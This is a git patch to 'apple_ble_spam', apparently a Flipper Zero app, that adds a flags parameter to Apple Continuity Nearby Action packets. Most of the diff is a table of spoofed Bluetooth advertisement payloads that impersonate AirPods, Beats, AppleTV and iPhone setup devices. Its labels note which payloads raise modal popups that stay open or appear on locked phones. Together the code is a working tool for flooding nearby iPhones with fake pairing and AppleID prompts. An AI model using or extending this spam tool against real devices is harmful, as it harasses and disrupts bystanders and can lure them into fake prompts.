From 37c8357d3e202a6ed71cc813a4fe94d7cb9fb6c6 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Wed, 6 Sep 2023 03:55:10 +0200 Subject: [PATCH] Add flags parameter to nearby actions --- .../external/apple_ble_spam/apple_ble_spam.c | 532 +++++++++--------- .../lib/continuity/continuity.c | 2 +- .../lib/continuity/continuity.h | 1 + 3 files changed, 267 insertions(+), 268 deletions(-) diff --git a/applications/external/apple_ble_spam/apple_ble_spam.c b/applications/external/apple_ble_spam/apple_ble_spam.c index 0270dd264..63c846e5b 100644 --- a/applications/external/apple_ble_spam/apple_ble_spam.c +++ b/applications/external/apple_ble_spam/apple_ble_spam.c @@ -18,9 +18,7 @@ typedef struct { // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/ // Custom adv logic and Airtag ID from https://techryptic.github.io/2023/09/01/Annoying-Apple-Fans/ -static Payload - payloads[] = - { +static Payload payloads[] = { #if false {.title = "AirDrop", .text = "", @@ -55,270 +53,270 @@ static Payload .data = {.tethering_source = {}}, }}, #endif - {.title = "Random Pair", - .text = "Spam shuffle Proximity Pairs", - .random = true, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x00, .model = 0x0000}}, - }}, - {.title = "Random Action", - .text = "Spam shuffle Nearby Actions", - .random = true, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.type = 0x00}}, - }}, - {.title = "AirPods Pro", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0E20}}, - }}, - {.title = "Beats Solo 3", - .text = "Modal, spammy (stays open)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0620}}, - }}, - {.title = "AirPods Max", - .text = "Modal, laggy (stays open)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0A20}}, - }}, - {.title = "Beats Flex", - .text = "Modal, laggy (stays open)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1020}}, - }}, - {.title = "Airtag", - .text = "Modal, unlocked", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0055}}, - }}, - {.title = "Hermes Airtag", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0030}}, - }}, - {.title = "AppleTV AutoFill", - .text = "Banner, unlocked, long range", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.type = 0x13}}, - }}, - {.title = "AppleTV Connecting...", - .text = "Modal, unlocked, long range", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.type = 0x27}}, - }}, - {.title = "AppleTV Audio Sync", - .text = "Banner, locked, long range", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.type = 0x19}}, - }}, - {.title = "AppleTV Color Balance", - .text = "Banner, locked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.type = 0x1E}}, - }}, - {.title = "Setup New iPhone", - .text = "Modal, locked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.type = 0x09}}, - }}, - {.title = "Transfer Phone Number", - .text = "Modal, locked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.type = 0x02}}, - }}, - {.title = "Pair AppleTV", - .text = "Modal, unlocked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.type = 0x06}}, - }}, - {.title = "HomePod Setup", - .text = "Modal, unlocked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.type = 0x0B}}, - }}, - {.title = "AirPods", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0220}}, - }}, - {.title = "AirPods 2nd Gen", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0F20}}, - }}, - {.title = "AirPods 3rd Gen", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1320}}, - }}, - {.title = "AirPods Pro 2nd Gen", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1420}}, - }}, - {.title = "Powerbeats 3", - .text = "Modal, spammy (stays open)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0320}}, - }}, - {.title = "Powerbeats Pro", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0B20}}, - }}, - {.title = "Beats Solo Pro", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0C20}}, - }}, - {.title = "Beats Studio Buds", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1120}}, - }}, - {.title = "Beats X", - .text = "Modal, spammy (stays open)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0520}}, - }}, - {.title = "Beats Studio 3", - .text = "Modal, spammy (stays open)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0920}}, - }}, - {.title = "Beats Studio Pro", - .text = "Modal, spammy (stays open)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1720}}, - }}, - {.title = "Beats Fit Pro", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1220}}, - }}, - {.title = "Beats Studio Buds+", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1620}}, - }}, - {.title = "Setup New AppleTV", - .text = "Modal, unlocked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.type = 0x01}}, - }}, - {.title = "HomeKit AppleTV Setup", - .text = "Modal, unlocked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.type = 0x0D}}, - }}, - {.title = "Join This AppleTV?", - .text = "Modal, unlocked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.type = 0x20}}, - }}, - {.title = "AppleID for AppleTV?", - .text = "Modal, unlocked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.type = 0x2B}}, - }}, + {.title = "Random Pair", + .text = "Spam shuffle Proximity Pairs", + .random = true, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x00, .model = 0x0000}}, + }}, + {.title = "Random Action", + .text = "Spam shuffle Nearby Actions", + .random = true, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x00}}, + }}, + {.title = "AirPods Pro", + .text = "Modal, spammy (auto close)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0E20}}, + }}, + {.title = "Beats Solo 3", + .text = "Modal, spammy (stays open)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0620}}, + }}, + {.title = "AirPods Max", + .text = "Modal, laggy (stays open)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0A20}}, + }}, + {.title = "Beats Flex", + .text = "Modal, laggy (stays open)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1020}}, + }}, + {.title = "Airtag", + .text = "Modal, unlocked", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0055}}, + }}, + {.title = "Hermes Airtag", + .text = "", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0030}}, + }}, + {.title = "AppleTV AutoFill", + .text = "Banner, unlocked, long range", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x13}}, + }}, + {.title = "AppleTV Connecting...", + .text = "Modal, unlocked, long range", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x27}}, + }}, + {.title = "AppleTV Audio Sync", + .text = "Banner, locked, long range", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x19}}, + }}, + {.title = "AppleTV Color Balance", + .text = "Banner, locked", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x1E}}, + }}, + {.title = "Setup New iPhone", + .text = "Modal, locked", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x09}}, + }}, + {.title = "Transfer Phone Number", + .text = "Modal, locked", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x02}}, + }}, + {.title = "Pair AppleTV", + .text = "Modal, unlocked", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x06}}, + }}, + {.title = "HomePod Setup", + .text = "Modal, unlocked", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x0B}}, + }}, + {.title = "AirPods", + .text = "Modal, spammy (auto close)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0220}}, + }}, + {.title = "AirPods 2nd Gen", + .text = "Modal, spammy (auto close)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0F20}}, + }}, + {.title = "AirPods 3rd Gen", + .text = "Modal, spammy (auto close)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1320}}, + }}, + {.title = "AirPods Pro 2nd Gen", + .text = "Modal, spammy (auto close)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1420}}, + }}, + {.title = "Powerbeats 3", + .text = "Modal, spammy (stays open)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0320}}, + }}, + {.title = "Powerbeats Pro", + .text = "Modal, spammy (auto close)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0B20}}, + }}, + {.title = "Beats Solo Pro", + .text = "", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0C20}}, + }}, + {.title = "Beats Studio Buds", + .text = "Modal, spammy (auto close)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1120}}, + }}, + {.title = "Beats X", + .text = "Modal, spammy (stays open)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0520}}, + }}, + {.title = "Beats Studio 3", + .text = "Modal, spammy (stays open)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0920}}, + }}, + {.title = "Beats Studio Pro", + .text = "Modal, spammy (stays open)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1720}}, + }}, + {.title = "Beats Fit Pro", + .text = "Modal, spammy (auto close)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1220}}, + }}, + {.title = "Beats Studio Buds+", + .text = "Modal, spammy (auto close)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1620}}, + }}, + {.title = "Setup New AppleTV", + .text = "Modal, unlocked", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x01}}, + }}, + {.title = "HomeKit AppleTV Setup", + .text = "Modal, unlocked", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x0D}}, + }}, + {.title = "Join This AppleTV?", + .text = "Modal, unlocked", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x20}}, + }}, + {.title = "AppleID for AppleTV?", + .text = "Modal, unlocked", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x2B}}, + }}, }; struct { diff --git a/applications/external/apple_ble_spam/lib/continuity/continuity.c b/applications/external/apple_ble_spam/lib/continuity/continuity.c index 2958b6810..229cd42d6 100644 --- a/applications/external/apple_ble_spam/lib/continuity/continuity.c +++ b/applications/external/apple_ble_spam/lib/continuity/continuity.c @@ -129,7 +129,7 @@ void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet) { break; case ContinuityTypeNearbyAction: - packet[i++] = 0xc1; // Action Flags + packet[i++] = msg->data.nearby_action.flags; // Action Flags packet[i++] = msg->data.nearby_action.type; packet[i++] = (rand() % 256); // Authentication Tag packet[i++] = (rand() % 256); // ... diff --git a/applications/external/apple_ble_spam/lib/continuity/continuity.h b/applications/external/apple_ble_spam/lib/continuity/continuity.h index 1d0c902a5..773f88d9e 100644 --- a/applications/external/apple_ble_spam/lib/continuity/continuity.h +++ b/applications/external/apple_ble_spam/lib/continuity/continuity.h @@ -32,6 +32,7 @@ typedef union { struct { } tethering_source; struct { + uint8_t flags; uint8_t type; } nearby_action; } ContinuityData;